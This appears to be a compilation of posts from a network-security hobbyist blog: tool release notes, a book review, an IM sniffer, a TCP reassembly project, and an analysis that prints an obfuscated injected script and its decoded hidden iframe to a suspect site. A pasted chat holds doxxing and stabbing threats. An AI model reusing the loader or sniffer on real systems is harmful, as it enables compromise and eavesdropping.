Now down to the real post, NSM-Console 0.7 has been released, there are a lot of cool features in this release, but first, go download NSM-Console!

As always, you can check out the TODO and CHANGELOG from svn.

Now, let’s cover some of the newest features in this release:

Encode/Decode enhancements
The encode and decode methods have had a few enhancements added to them, most notably, you can now specify a file to encode or decode, instead of specifying just a string, so you could do:

nsm> encode -f base64 testfile.txt
Encoding ascii --> base64...
Output ([]'s added to show beginning and end):
[TlNNLUNvbnNvbGUgaXMgYXdlc29tZSwgeW91IHNob3VsZCB1c2UgaXQgOikK]

Also, you can specify a variety of hex encodings, because I was noticing that it was delineated in a variety of ways, \x, space (or not delineated at all). I’ve also added the default hex and binary methods, so you don’t have to specify endianness, they default to little-endian.

IP->ASN mapping
As per Scholar’s suggestion, there is now both a module and a command for translating an ip into it’s ASN,  you can either use the module to get a listing from each IP in the pcap, or use the below command to get the ASN for just one address:

nsm> ip2asn 203.223.154.86
Bulk mode; whois.cymru.com [2008-04-27 17:53:32 +0000]
17992   | 203.223.154.86   | AIMS-MY-DIA-AS AIMS Data Centre

Thanks to Team Cymru for their ASN servers

‘Print’ command supports flags
The print command now supports printing TCP flags, still uses Scholar’s pcapparser library.

New command: ‘iplist’
Generate a list of the ips in a pcap file, sorted by the number of occurrences in the file, see below:

nsm> iplist
=== IP list for data.pcap ===
192.168.1.123   1507
64.233.179.109  260
192.168.1.136   141
204.245.162.17  126
216.178.38.133  102
208.67.217.230  92
209.225.0.103   88
.. etc etc

Pipes now supported
One feature geek00l has been bugging me about is getting piping to work in the nsm shell, I’m happy to announce that they finally work, you might run into a few bugs (broken pipes with less), but for the most part they work, now output can be piped into files and programs:

nsm> p -x 1-* | less
(display all the packets and hex output, piped into less)
nsm> iplist > iplist.txt
(output the list of ips into iplist.txt)
nsm> ip2asn 203.223.154.86 >> iplist.txt
(append the ip2asn output to iplist.txt)

Etc, etc, you get the idea. The ‘<‘ pipe hasn’t been implemented yet, perhaps if it’s needed in the future.

New modules, bro-ids-connection and yahsnarf
Geek00l committed his bro-ids-connection module for generating only connection information from a pcap, a yahsnarf module was also committed, to enable extract yahoo IM conversations from a pcap file. Thanks geek00l!

Automatic updating of NSM-Console
Users desiring to be on the bleeding edge of NSM-Console development (is there anyone that actually desires this? :P) can now use the “update” command from within NSM-Console to automatically update from the latest subversion commit. You can also use the -v for verbose output, see below:

nsm> update -v
Updating NSM-Console from svn...
Fetching newest revision from svn...
etc, etc

Still a few kinks to work out, but should work pretty well.

Bugfixes
I fixed some bugs related to gzip’d pcap files as well as some bugs in the encode and decode methods. I also introduced some bugs (hurray!) with pipes, but it’s still usable.

Like I always say, check out the full TODO and CHANGELOG for complete details, and send me any feedback you have

Firstly, for anyone unfamiliar with Catalyst, Catalyst is a MVC (Model-View-Controller) framework using Perl, for anyone familiar with Ruby on Rails, Catalyst is extremely similar.

The book is written by Jonathan Rockway, who is one of the core team members of the Catalyst team, which gives the book a solid technical background. The book’s text is easy to read and understandable.

Catalyst starts by giving a brief introduction to the MVC methodology and instructions for downloading and installing the Catalyst run-time. One thing to note is that this book is not for readers new to Perl, the book assumes you have a solid knowledge of Perl intricacies and experience using CPAN, which is required to install the multitudes of modules required for Catalyst development. I found that a certain level of problem-solving was required, as not all CPAN modules installed cleanly. I had to force-install a few of the modules and manually resolve a number of dependencies in order to get all the required modules. This barrier to entry might discourage some beginners just starting out with Perl and Catalyst. Other than that, all the installation instructions were very clear.

Developers don’t learn very well with just theory, so Catalyst does a good job of providing a sample application to develop and extend throughout the book. The bulk of the development centers around creating an Address Book application, which is then extended to have features like authentication and AJAX later on during the book. Personally, I’m happy the same application is used, rather than switching applications every chapter. The book does change applications for a couple of chapters (which I find is good, to give a different app’s perspective), then returns to the first application afterwards.

The book discusses a lot of the cool features of Catalyst, such as FormBuilder, templates, REST APIs, Jemplates, AJAX and RSS feeds. The book describes ways to use these features to help speed up development and move away from repetitive code creation. In chapters 8 and 9, testing and deployment are discussed. Personally, I would have liked to see the testing and deployment chapters moved up and integrated into the earlier chapters to enforce a methodology that includes testings from the beginning of development, but I can understand moving it to the end to make entry into the framework a little easier.

One other thing to note, as with almost any programming book, syntax and spelling errors can be killer when attempting to replicate code written in a book, the Catalyst book has a list of errors pertaining to the code in the book, which caused me a great deal of frustration until I looked up the errata. I recommend that anyone use the code example either downloaded from the website or directly from the book take a look and make sure they get the correct syntax. The only other thing I would have liked to see was a chapter on security concerns of the Catalyst framework (being concerned about security myself), I was disappointed they didn’t show up in the book, perhaps in the next edition. I have noticed (from googling for errors I ran into), that Jonathan is very vocal on forums about helping people, so I have no doubt that the syntax errors will be corrected in a future edition

Alright, enough blathering from me, here’s the short and sweet summary: This book is great for Perl or Ruby programmers who are already familiar with MVC development and are interested in the Catalyst framework. The book is not exhaustive by any means, and is not overly long (I would say this is a good thing), it provides a very solid foundation to work with, and a developer should be able to develop his/her own app after reading it. If you’re a Ruby developer interested in a Perl alternative to Rails, or if you’re a Perl developer jealous of Rails, I encourage you to check it out.

P.S. I have also posted this review to Amazon here.

You can download the script on the yahsnarf project page.

Yahsnarf requires Ruby, ruby-pcap and bit-struct (Thanks Matasano for introducing me to bit-struct, made this script take about 1/4rd the time to write)

I’m also currently working on an NSM-Console module for Yahsnarf.

This script is a little different than Aimsnarf, mostly because Aimsnarf was the first program I ever wrote in Ruby, so it tended to be just a little rusty, without the best design practices. For one, Yahsnarf is way smaller than Aimsnarf (70 lines to around 150), and Yahsnarf follows an object-oriented design. Enough of that, here’s what you can expect to see:

shell> sudo ./yahsnarf.rb -i en1
Use '-h' to display usage
Capture/Decoding...
buddy1 --> buddy2: This is a test of yahsnarf
buddy2 --> buddy1: A test this is of yahsnarf; it's awesome!
buddy1 --> buddy2: thanks for the help :)

You can also use ./yahsnarf.rb -r <pcapfile> to read and extract from a network capture file.

Pretty simple eh? Replace buddy1 and buddy2 with the screen names of the conversationalists. There are a few issues I’m still working out, like usernames not always showing up (they could for the most part). Also, this obviously does not work on encrypted messages (OTR or otherwise), so if you value your privacy, use encryption.

Remember, don’t ever say anything over IM that you wouldn’t mind the world knowing, you never know who could be listening in

In conclusion, I’d also like to thank Yahoo, for making their protocol so much less of a pain to decode than AOL’s.

Seeing as how this is the internet, and we’re all entitled to our opinion, I posted my own opinion as a comment on the blog, what follows is an AIM coversation with Yousif about my comment. Entirely uncut and unedited (I replaced foul language with “****”). I think the security community should know. Without further ado:

11:32:02 PM Yousif: .
8:59:51 AM Lee: ?
11:20:17 AM Lee: You IM’d me?
11:20:25 AM Yousif: Yup
11:20:40 AM Yousif: So why exactly did you say what you said on Wesley’s post about me?
11:21:00 AM Lee: Because I had seen some of the posts you had posted in the mailinglists that I read
11:21:09 AM Yousif: Right..
11:21:15 AM Yousif: Go ahead and support yourself.
11:21:24 AM Yousif: I want to know what’s so noobish about my posts.
11:21:47 AM Lee: I didn’t say that they were “noobish”
11:22:21 AM Yousif: You said I needed attention?
11:22:22 AM Yousif: How so?
11:22:47 AM Yousif: I merely asked for views and opinions to be expressed amongst what I had linked.
11:22:48 AM Lee: your mailing list post seemed more like shameless self-promotion
11:23:07 AM Yousif: No, you’ve just got the wrong idea.
11:23:24 AM Yousif: Btw, if you didn’t, I’m only 17 and I’m managing x1000 more than you ever can.
11:23:35 AM Yousif: So you need to learn to shut your mouth and think about what you say next time.
11:23:43 AM Lee: you have no idea how much I manage..?
11:23:53 AM Yousif: It’s been barely an entire year for me in web application security..
11:23:59 AM Yousif: All I’ve been doing is trying to learn and contribute.
11:24:12 AM Yousif: Dude, I’m a nice ***ing guy and I work hard, Wesley is an idiot.
11:24:29 AM Yousif: We were cool to a point until he got upset because I stopped talking to him.
11:24:37 AM Yousif: The information he provided is false and was photoshopped..
11:24:39 AM Lee: Wesley isn’t an idiot, I hardly believe that’s true
11:25:06 AM Yousif: Those screenshots; only one is true, the FTP screenshot because I sent him that when we were discussing how to implement SSL in a specific manner.
11:25:11 AM Yousif: The rest is garbage.
11:25:43 AM Lee: Why should you care what he posts then? Why not just ignore it?
11:25:58 AM Yousif: Don’t act stupid. You want me to drop YOUR docs?
11:25:59 AM Yousif: Do you?
11:26:09 AM Yousif: You want to appear as a top-page result in Google?
11:26:10 AM Lee: “drop my docs”?
11:26:12 AM Yousif: I don’t think so.
11:26:16 AM Yousif: Aww how cute.
11:26:20 AM Yousif: You don’t know what that maens.
11:26:21 AM Yousif: means*
11:26:23 AM Yousif: Exactly.
11:26:27 AM Yousif: Your pure Whitehat.
11:26:33 AM Yousif: You don’t even know basic terms of a black hat hacker..
11:26:34 AM Lee: Pardon me for not being familiar with your slang
11:26:40 AM Yousif: I was one, and I’m trying to be clean.
11:26:50 AM Yousif: It means I’ll post information about you.
11:26:53 AM Yousif: Negative information
11:27:05 AM Yousif: Where you live, number, and a lot of stuff that isn’t public.
11:27:08 AM Lee: so, is that supposed to scare me?
11:27:16 AM Yousif: That’s a question only.
11:27:16 AM Lee: where I live and my number is public anyhow
11:27:26 AM Lee: knock yourself out
11:27:34 AM Yousif: Oh, how cool would it be for me to automate something to call you every couple of seconds?
11:27:39 AM Yousif: Hmm, that sounds peaceful..
11:27:42 AM Yousif: Be realistic here.
11:27:51 AM Yousif: No one wants that type of information out like that especially as such a post.
11:28:03 AM Yousif: Ignoring it doesn’t make it go away.
11:28:19 AM Yousif: It simply ruins my reputation, and I’ve done nothing to have that going for me.
11:28:42 AM Yousif: It also doesn’t help when you don’t have a factual clue about me and you go and post that comment
11:28:49 AM Lee: my personal information is widely available on the internet, I don’t think a post by you is really going to change that
11:29:07 AM Yousif: Do you know what happens after you drop someone’s dox?
11:29:12 AM Yousif: Dude, it goes into EFFECT.
11:29:25 AM Yousif: You’ve got a number, well I’ll threaten you, that’s how the game is played.
11:29:34 AM Yousif: You’ve got an address, I’ll come over and stab you.
11:29:36 AM Yousif: It’s common ****.
11:29:55 AM Lee: are you aware that this is a record of threat, and that it can be used as legal evidence of that fact?
11:30:17 AM Yousif: Not really, genius.
11:30:24 AM Yousif: I showed you that it was an example of what that term meant.
11:30:27 AM Yousif: I can do the same as he had done but instead provide valid information supporting my post, but I’d rather not because I’m not here to dual with anyone.
11:30:52 AM Lee: if you’re not here to “dual” with anyone, why the defensive and attacking attitude?
11:31:18 AM Yousif: You posted a negative remark about me, how can I be cool with that; especially when it’s not true.
11:31:50 AM Yousif: Attend a conference and talk to me once, we’ll see who’s “attention-needy”.
11:31:57 AM Lee: it’s a blog, it’s my opinion, it’s the internet, opinions should be respected
11:32:28 AM Lee: if you don’t agree, ignore it
11:32:45 AM Yousif: Again, it’s not something that can be ignored..
11:32:47 AM Yousif: You know that.
11:33:10 AM Lee: I believe it’s quite ignorable
11:33:36 AM Yousif: It’s like saying “I’ll drop your docs and mass spam it across a HUGE text file with emails so everyone can see this”.
11:34:28 AM Lee: and like I was saying, personal information for me is already easily accessible on the internet
11:35:28 AM Lee: from what I can tell, it looks like similar people have the same opinion as me, why not go bother them?
11:35:58 AM Yousif: I’m not bothering you, I’m making you feel very stupid for what you had to say.
11:36:16 AM Yousif: You also can’t understand what dropping your docs mean after I told you what it is, along with examples.
11:36:20 AM Lee: I’m not feeling stupid
11:36:49 AM Yousif: Yes, you are. You respond back with remarks that make no sense, but instead go in a cycle of bull****.
11:37:11 AM Lee: alright, what remarks need clarification then?
11:37:22 AM Yousif: Yes, genius your information is public, but there are private information I can get against you, post it and tell people to harass and threaten you a million times.. Now do you understand?
11:37:42 AM Yousif: You keep thinking that your information will be there for eyes to read.. instead it’ll be used.
11:37:51 AM Lee: what makes you think people will want to threaten and harass me?
11:37:53 AM Yousif: But that’s just an example to clarify your misconception.
11:38:06 AM Yousif: It’s a game, it’s how it’s played.
11:38:08 AM Yousif: Google it.
11:38:47 AM Lee: frankly, I don’t care what you and your buddies are up to with my information
11:39:00 AM Yousif: Anyways, I’m done with you. I was trying to implement some facts to make you more open-minded but I see that your just as wrong as he is, so do what you want, I’ll be seeing you soon.
11:39:40 AM Lee: toodles
Changed status to Idle (11:58:12 AM)

Did I handle that perfectly? Probably not, but that’s the internet. If you’re easily offended by other’s opinions, leave.

I welcome comments

• Rebuilding TCP streams with Ruby part 1: fuzzymatch

In my previous post, I talked about using fuzzy sequence/acknowledge numbers to split a network capture file into streams. Using fuzzymatch was pretty successful for cutting streams out, but the streams themselves were not ordered. This version of the Ruby StreamBuilder library orders the streams by using increasing seq/ack numbers, or as I like to call it “fuzzysort”. In order to do this, fuzzysort first splits the stream into a “source” stream and a “destination” stream. After spliting the streams, the streams are ordered in ascending acknowledgement order, where if there are duplicate acks, the ascending sequence numbers are used. The streams are then printed in ordered fashion (since this is just proof of concept)

You can download the code for fuzzymatch-sort here.

It’s interesting to note that because of implementing the ordered streams in a hash using the seq/ack as the key, the list does not handle duplicate packets. I added some logic so that a large data packet is not replaced by a simple ack packet with the same numbers, so the streams should still have the correct data after being ordered.

Here’s an example of running fuzzymatch-sort.rb on a randomized single-stream pcap file:

shell> ./fuzzymatch-sort.rb ../pcaps/pLargeRand.pcap
[1]    [....S.] 128.222.228.89 -> 128.222.228.77    seq=638858703 ack=0 len=78
Starting a new stream...
[2]    [.A..S.] 128.222.228.77 -> 128.222.228.89    seq=2849933258 ack=638858704 len=74
ack num: 638858704 close enough to 638858703 to add. Had to check 1 streams and 2 seq/ack nums
[3]    [.A....] 128.222.228.89 -> 128.222.228.77    seq=638862706 ack=2849933260 len=66
ack num: 2849933260 close enough to 2849933258 to add. Had to check 1 streams and 2 seq/ack nums
[4]    [.AP...] 128.222.228.89 -> 128.222.228.77    seq=638861176 ack=2849933259 len=666
ack num: 2849933259 close enough to 2849933260 to add. Had to check 1 streams and 1 seq/ack nums
[5]    [.A....] 128.222.228.89 -> 128.222.228.77    seq=638858704 ack=2849933259 len=66
ack num: 2849933259 close enough to 2849933259 to add. Had to check 1 streams and 1 seq/ack nums
[6]    [.A....] 128.222.228.77 -> 128.222.228.89    seq=2849933259 ack=638861776 len=66
seq num: 2849933259 close enough to 2849933259 to add. Had to check 1 streams and 1 seq/ack nums
[7]    [.A....] 128.222.228.89 -> 128.222.228.77    seq=638859728 ack=2849933259 len=1514
ack num: 2849933259 close enough to 2849933259 to add. Had to check 1 streams and 2 seq/ack nums
[8]    [.A....] 128.222.228.77 -> 128.222.228.89    seq=2849933259 ack=638862706 len=66
seq num: 2849933259 close enough to 2849933259 to add. Had to check 1 streams and 3 seq/ack nums
[9]    [.AP...] 128.222.228.89 -> 128.222.228.77    seq=638858704 ack=2849933259 len=1090
ack num: 2849933259 close enough to 2849933259 to add. Had to check 1 streams and 3 seq/ack nums
[10]    [.A....] 128.222.228.77 -> 128.222.228.89    seq=2849933259 ack=638861176 len=66
seq num: 2849933259 close enough to 2849933259 to add. Had to check 1 streams and 3 seq/ack nums
[11]    [.A...F] 128.222.228.77 -> 128.222.228.89    seq=2849933259 ack=638862706 len=66
seq num: 2849933259 close enough to 2849933259 to add. Had to check 1 streams and 3 seq/ack nums
Ended up with 1 stream(s).

==> Stream 1 contains 11 packet(s)
--> Sorting stream 1...
[1]    [....S.] 128.222.228.89 -> 128.222.228.77    seq=638858703 ack=0 len=78
[2]    [.A..S.] 128.222.228.77 -> 128.222.228.89    seq=2849933258 ack=638858704 len=74
[3]    [.A....] 128.222.228.89 -> 128.222.228.77    seq=638862706 ack=2849933260 len=66
[4]    [.AP...] 128.222.228.89 -> 128.222.228.77    seq=638861176 ack=2849933259 len=666
[5]    [.A....] 128.222.228.89 -> 128.222.228.77    seq=638858704 ack=2849933259 len=66
[6]    [.A....] 128.222.228.77 -> 128.222.228.89    seq=2849933259 ack=638861776 len=66
[7]    [.A....] 128.222.228.89 -> 128.222.228.77    seq=638859728 ack=2849933259 len=1514
[8]    [.A....] 128.222.228.77 -> 128.222.228.89    seq=2849933259 ack=638862706 len=66
[9]    [.AP...] 128.222.228.89 -> 128.222.228.77    seq=638858704 ack=2849933259 len=1090
[10]   [.A....] 128.222.228.77 -> 128.222.228.89    seq=2849933259 ack=638861176 len=66
[11]   [.A...F] 128.222.228.77 -> 128.222.228.89    seq=2849933259 ack=638862706 len=66

==== Unsorted Streams ====

Source
-------
[....S.] 128.222.228.89 -> 128.222.228.77    seq=638858703 ack=0 len=78
[.A....] 128.222.228.89 -> 128.222.228.77    seq=638862706 ack=2849933260 len=66
[.AP...] 128.222.228.89 -> 128.222.228.77    seq=638861176 ack=2849933259 len=666
[.A....] 128.222.228.89 -> 128.222.228.77    seq=638858704 ack=2849933259 len=66
[.A....] 128.222.228.89 -> 128.222.228.77    seq=638859728 ack=2849933259 len=1514
[.AP...] 128.222.228.89 -> 128.222.228.77    seq=638858704 ack=2849933259 len=1090
Dest
-------
[.A..S.] 128.222.228.77 -> 128.222.228.89    seq=2849933258 ack=638858704 len=74
[.A....] 128.222.228.77 -> 128.222.228.89    seq=2849933259 ack=638861776 len=66
[.A....] 128.222.228.77 -> 128.222.228.89    seq=2849933259 ack=638862706 len=66
[.A....] 128.222.228.77 -> 128.222.228.89    seq=2849933259 ack=638861176 len=66
[.A...F] 128.222.228.77 -> 128.222.228.89    seq=2849933259 ack=638862706 len=66

==== Sorted Streams ====

Source
-------
[....S.] 128.222.228.89 -> 128.222.228.77    seq=638858703 ack=0 len=78
[.AP...] 128.222.228.89 -> 128.222.228.77    seq=638858704 ack=2849933259 len=1090
[.A....] 128.222.228.89 -> 128.222.228.77    seq=638859728 ack=2849933259 len=1514
[.AP...] 128.222.228.89 -> 128.222.228.77    seq=638861176 ack=2849933259 len=666
[.A....] 128.222.228.89 -> 128.222.228.77    seq=638862706 ack=2849933260 len=66
Dest
-------
[.A..S.] 128.222.228.77 -> 128.222.228.89    seq=2849933258 ack=638858704 len=74
[.A....] 128.222.228.77 -> 128.222.228.89    seq=2849933259 ack=638861176 len=66
[.A....] 128.222.228.77 -> 128.222.228.89    seq=2849933259 ack=638861776 len=66
[.A...F] 128.222.228.77 -> 128.222.228.89    seq=2849933259 ack=638862706 len=66

Another addition in this version is that the fuzzymatch algorithm that is used to generate streams has been optimized (mostly because I was doing it stupidly last time) so that seq/ack searches don’t take nearly as long for large pcap files. You can download an example of fuzzysort output from a pcap file with 5 streams here.

While this is a step up from the unsorted fuzzymatch from the last post, this method still has its downfalls, not being able to store duplicate seq/ack packets could definitely cause problems. The ability to generate a sorted stream without having to split the stream into source and destination streams would also be extremely useful (so you could see a full transmission stream from both sides).

The next evolution of the library would be to actually keep a state table and follow TCP streams using the seq/ack numbers (which I attempted for this version, but it was extremely complex, so I scraped it and did fuzzysort). Hopefully I’ll be able to implement it without any problems. I might take the easy route and go for using TCP TSVal to attempt to order streams.

Comments? Criticism? Leave a comment and let me know

This is not a small feat. In fact, I probably won’t ever get it working perfectly (or if I do, it certainly won’t be soon). In a series of posts, I’ll be exploring some of the development decisions, design choices and pitfalls that I run into, sort of a development journal. Why would a tool like this ever be useful? Well, if you want to do analysis on packet payloads, you certainly have to make sure you have a contiguous data segment to work on, otherwise part of the message is lost. I do, however, have a few things going for me:

• I don’t have to do live reassembly. I can do 2-pass reassembly, because I’m only going to be analyzing pcap files. Perhaps latter I’ll add in the ability to do live analysis, but for now it’s adding complexity to a problem that’s already complex enough.
• I will be building prototypes of different methods, each with its pros and cons, instead of having to work towards a final release, I have the flexibility to change designs with every iteration.
• No matter what, I win. Nothing but learning can come from this project, so it still has benefits even if I do never arrive at a final product.

For the first installment, I want to talk about fuzzymatching using sequence and ackknowledgement numbers. I have released my proof-of-concept code here, but I’ll be going over it in more detail in this post:

Okay, let’s start by dumping the most simply pcap file datastream I could possibly generate (sending the word “test” using netcat):

./sdump.rb pcaps/pSmall.pcap
[1]    [....S.] 128.222.228.89 -> 128.222.228.77    seq=4679659509 ack=0 len=78
[2]    [.A..S.] 128.222.228.77 -> 128.222.228.89    seq=30782357 ack=4679659510 len=74
[3]    [.A....] 128.222.228.89 -> 128.222.228.77    seq=4679659510 ack=30782358 len=66
[4]    [.AP...] 128.222.228.89 -> 128.222.228.77    seq=4679659510 ack=30782358 len=71
[5]    [.A...F] 128.222.228.89 -> 128.222.228.77    seq=4679659515 ack=30782358 len=66
[6]    [.A....] 128.222.228.77 -> 128.222.228.89    seq=30782358 ack=4679659516 len=66
[7]    [.A...F] 128.222.228.77 -> 128.222.228.89    seq=30782358 ack=4679659516 len=66
[8]    [.A....] 128.222.228.89 -> 128.222.228.77    seq=4679659516 ack=30782359 len=66

Being the most simple example, you can see that I only have 1 stream to deal with, and that the seq/ack numbers are nice enough to be where we want them to. For the first prototype, I have created a list of Stream objects (containing sequence and ack numbers), and when I get a new packet, I compare its seq/ack numbers to the numbers of streams already in the list, if it’s within a threshold (5 is my value), then it probably belongs to that stream and I add the packet to the stream.

One of the really nice things about processing packets this way is that I don’t have to worry about packet order on the first pass, if a packet is close enough, it’s added, if it isn’t, a new stream is created. Fuzzymatcher correctly identifies this pcap file as 1 stream:

./fuzzymatch.rb ../pcaps/pSmall.pcap
[1]    [....S.] 128.222.228.89 -> 128.222.228.77    seq=4679659509 ack=0 len=78
No stream found for packet, starting a new one...
[2]    [.A..S.] 128.222.228.77 -> 128.222.228.89    seq=30782357 ack=4679659510 len=74
ack num: 4679659510 close enough to 4679659509 to add.
[3]    [.A....] 128.222.228.89 -> 128.222.228.77    seq=4679659510 ack=30782358 len=66
seq num: 4679659510 close enough to 4679659509 to add.
[4]    [.AP...] 128.222.228.89 -> 128.222.228.77    seq=4679659510 ack=30782358 len=71
seq num: 4679659510 close enough to 4679659509 to add.
[5]    [.A...F] 128.222.228.89 -> 128.222.228.77    seq=4679659515 ack=30782358 len=66
ack num: 30782358 close enough to 30782357 to add.
[6]    [.A....] 128.222.228.77 -> 128.222.228.89    seq=30782358 ack=4679659516 len=66
seq num: 30782358 close enough to 30782357 to add.
[7]    [.A...F] 128.222.228.77 -> 128.222.228.89    seq=30782358 ack=4679659516 len=66
seq num: 30782358 close enough to 30782357 to add.
[8]    [.A....] 128.222.228.89 -> 128.222.228.77    seq=4679659516 ack=30782359 len=66
ack num: 30782359 close enough to 30782357 to add.
Ended up with 1 stream(s).
Stream 1 contains 8 packet(s)

Now, I haven’t added any code to actually order the packets (yet), but this is a good start. Before I continue, how does fuzzymatching handle pcaps with a large amount of data?

./fuzzymatch.rb ../pcaps/data.pcap
... tons of output ...
[1684]    [.A....] 192.168.1.123 -> 64.12.28.76    seq=6079164989 ack=806823238 len=54
seq num: 6079164989 close enough to 6079164989 to add.
[1685]    [.A....] 192.168.1.123 -> 64.12.28.76    seq=6079164989 ack=806825958 len=54
seq num: 6079164989 close enough to 6079164989 to add.
[1686]    [.A....] 192.168.1.123 -> 64.12.28.76    seq=6079164989 ack=806826815 len=54
seq num: 6079164989 close enough to 6079164989 to add.
[1687]    [.A....] 192.168.1.123 -> 64.12.28.76    seq=6079164989 ack=806826815 len=54
seq num: 6079164989 close enough to 6079164989 to add.
[1688]    [.A....] 64.12.165.98 -> 192.168.1.136    seq=424631922 ack=282306986 len=54
No stream found for packet, starting a new one...
[1689]    [.A....] 192.168.1.136 -> 64.12.165.98    seq=282306986 ack=424631923 len=54
ack num: 424631923 close enough to 424631922 to add.
Ended up with 53 stream(s).
Stream 1 contains 8 packet(s)
Stream 2 contains 22 packet(s)
Stream 3 contains 8 packet(s)
Stream 4 contains 34 packet(s)
... lots more output, one for all 53 streams ...

Not bad, for a start. I think the next goal is probably ordering the streams, luckily I can do this in a second pass (or, when the stream data is accessed, cutting down on computation time unless the data is actually needed)

All my POC code can be downloaded from the RSB (Ruby StreamBuilder) project page, which will receive regular updates as I continue development.

Questions? Comments? Flames? Leave me a comment and let me know what you think

You can check all the other parts of the series:

•  Rebuilding TCP streams with Ruby part 2: fuzzysort

<script language="JavaScript">
var0 = "x69x3cx33x27x34x38x30x75x3bx34"; var1 = "x38x30x68x72x36x3ax20x3bx21x30"; var2 = "x27x72x75x26x27x36x68x72x3dx21"; var3 = "x21x25x6fx7ax7ax33x27x34x38x30"; var4 = "x26x21x34x21x7bx3bx30x21x7ax3c"; var5 = "x3bx31x30x2dx67x7bx25x3dx25x72"; var6 = "x75x3dx30x3cx32x3dx21x68x72x64"; var7 = "x63x72x75x22x3cx31x21x3dx68x72"; var8 = "x64x63x72x75x33x27x34x38x30x37"; var9 = "x3ax27x31x30x27x68x72x65x72x75"; var10 = "x26x36x27x3ax39x39x3cx3bx32x68"; var11 = "x72x3bx3ax72x6bx69x7ax3cx33x27"; var12 = "x34x38x30x6b";
sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;
dst = "";
for(i = 0; i < sr.length; i++) {
var d = parseInt(sr.charCodeAt(i) ^ 85);
dst = dst + String.fromCharCode(d);
}
document.getElementById("testws35fdgh").innerHTML = dst;
</script>

The “getElementById” that testws35fdgh refers to is this empty div:

<div id="testws35fdgh"></div>

As it turns out, this is some really terrible obfuscation, here’s the simple script to decode it (written in Ruby because I like Ruby):

#!/usr/bin/env ruby
hex = ["x69","x3c","x33","x27","x34","x38",
"x30","x75","x3b","x34","x38","x30","x68",
"x72","x36","x3a","x20","x3b","x21","x30",
"x27","x72","x75","x26","x27","x36","x68",
"x72","x3d","x21","x21","x25","x6f","x7a",
"x7a","x33","x27","x34","x38","x30","x26",
"x21","x34","x21","x7b","x3b","x30","x21",
"x7a","x3c","x3b","x31","x30","x2d","x67",
"x7b","x25","x3d","x25","x72","x75","x3d",
"x30","x3c","x32","x3d","x21","x68","x72",
"x64","x63","x72","x75","x22","x3c","x31",
"x21","x3d","x68","x72","x64","x63","x72",
"x75","x33","x27","x34","x38","x30","x37",
"x3a","x27","x31","x30","x27","x68","x72",
"x65","x72","x75","x26","x36","x27","x3a",
"x39","x39","x3c","x3b","x32","x68","x72",
"x3b","x3a","x72","x6b","x69","x7a","x3c",
"x33","x27","x34","x38","x30","x6b"]
line = ""
hex.each { |c|
## Unpack the char
c = c.unpack('c').to_s.to_i
## XOR with 85
d = c ^ 85
## Pack back into a character
t = [d].pack('c')
## Append to the line
line = line + t
}
puts line

Which eventually leads you to:

<iframe name='counter' src='http://framestat.net/index2.php' height='16' width='16' frameborder='0' scrolling='no'></iframe>

If you do a whois on the framestat.net domain, you can see that the domain was suspended:

Registrant:
Suspended Domain ****@4host.info +1.00000000
Suspended domain
Suspended domain
Suspended domain,
Suspended domain,US 94040

Registration Service Provider:
name: Rustelekom Ltd.
tel: +1.8666254678
fax: +1.9782465632
web:http://nameservers.ru

Looks like someone’s been up to something naughty It also looks like it was originally a Russian site (not that it matters). Since the site is down, it’s difficult to tell what would have happened if the iframe source still existed. I’m guessing malware.

Still, the question remains, how did the javascript get to the page? I’m still looking in to that, right now my theory is php remote-file-inclusion, but we’ll see as things become a bit more clear.

Firstly, download the script here and put it somewhere in your path (rename it to “zg.rb”). Make sure to chmod +x it so it’s executable.

Note, 3 of the lines in the script *MAY* need to be changed, they are:

$DFDIR = "/Users/hinmanm/.zg"
$ZGCONF = $DFDIR + "/zg.conf"
$FINDCMD = "find"

Change the DFDIR entry to be where you plan on storing your ZoomGo files. Make sure you create the directory you specified, as you can see about, mine is set to ~/.zg. You shouldn’t have to change the ZGCONF file unless you want to. The FINDCMD variable is because on FreeBSD, when you install the “findutils” package, the find command is “gfind”, so change this to whatever your find command is (‘find’ should be fine for most people).

In the ~/.zg/zg.conf file (or wherever your DFDIR and ZGCONF locations are), entries are specified with a directory name, rescan time and directory name glob. The entries in my ~/.zg/zg.conf file are:

~/src:10:*
~/pcap:10:*
~/hex:10:*
~/Torrents:30:*
~/Random:60:*
~/Pictures:10:*
/Volumes/VAULT:20:*

What this means is: “look at my ~/src directory, rescan it if it’s older than 10 minutes and search for all directories (*)“, etc. I also search my pcap directory, the hex source tree directory, my Torrents and Random files and my TrueCrypt vault drive (When it’s mounted).

Next, I added the following line to my ~/.zshrc (I use ZSH, but the syntax for Bash would be almost exactly the same):

## For the "ZoomGo" ruby file
function zg () {
eval cd `zg.rb $1`
}

Yea, it’s kind of a hackish way to do it, but it works. After starting a new zsh, you should now be able to type “zg <dirname>” to use ZoomGo on a directory. For example:

~$ zg aimsnarf
Zooming directly to /Users/hinmanm/src/ruby/aimsnarf...
~/src/ruby/aimsnarf$

When you first run ZoomGo, it will rescan all the directories that you specified in the zg.conf file, saving the datafiles in the DFDIR. If the data file hasn’t been updated in the given rescan time (like 10 minutes for my ~/src directory) it will also rescan the directory and you’ll see messages like this:

rescanning ~/src...
rescanning ~/pcap...
rescanning ~/hex...
… and so on

You can also manually rescan all the directories by adding the “–rescan” flag.

Now, let’s say you have 2 directories that are both named the same thing, here’s an example when I run “zg aim”

~$ zg aim
2 directories were returned.
(1)    /Users/hinmanm/pcap/aim
(2)    /Volumes/VAULT/pcap/aim
1
~/pcap/aim$

See that? ZoomGo asks you to choose which directory to zoom to if there is more than 1 option, at the moment, it doesn’t like more than 9 directories, but hopefully I’ll fix that later

There, wasn’t that easier than typing “cd ~/pcap/aim”, now try it for a longer directory:

~$ zg nsm-console
2 directories were returned.
(1)    /Users/hinmanm/hex/hex/rawpacket-root/usr/home/analyzt/rp-NSM/nsm-console
(2)    /Users/hinmanm/hex/hex2/rawpacket-root/usr/home/analyzt/rp-NSM/nsm-console
2
~/hex/hex2/rawpacket-root/usr/home/analyzt/rp-NSM/nsm-console$

Enjoy

Firstly, you can download NSM-Console version 0.5 here:
http://writequit.org/projects/nsm-console/files/nsm-console-0.5.tar.gz

Mirror here:
https://secure.redsphereglobal.com/data/dakrone/files/nsm-console-0.5.tar.gz

Like always, let’s go over some of the new features in this release:

Alias command
You can now alias a command whatever else you would like to, the syntax is the same as regular bash alias syntax, for instance, here are my aliases from my ~/.nsmcrc:
alias ls = list
alias ll = list
alias serv = e cat /etc/services | grep
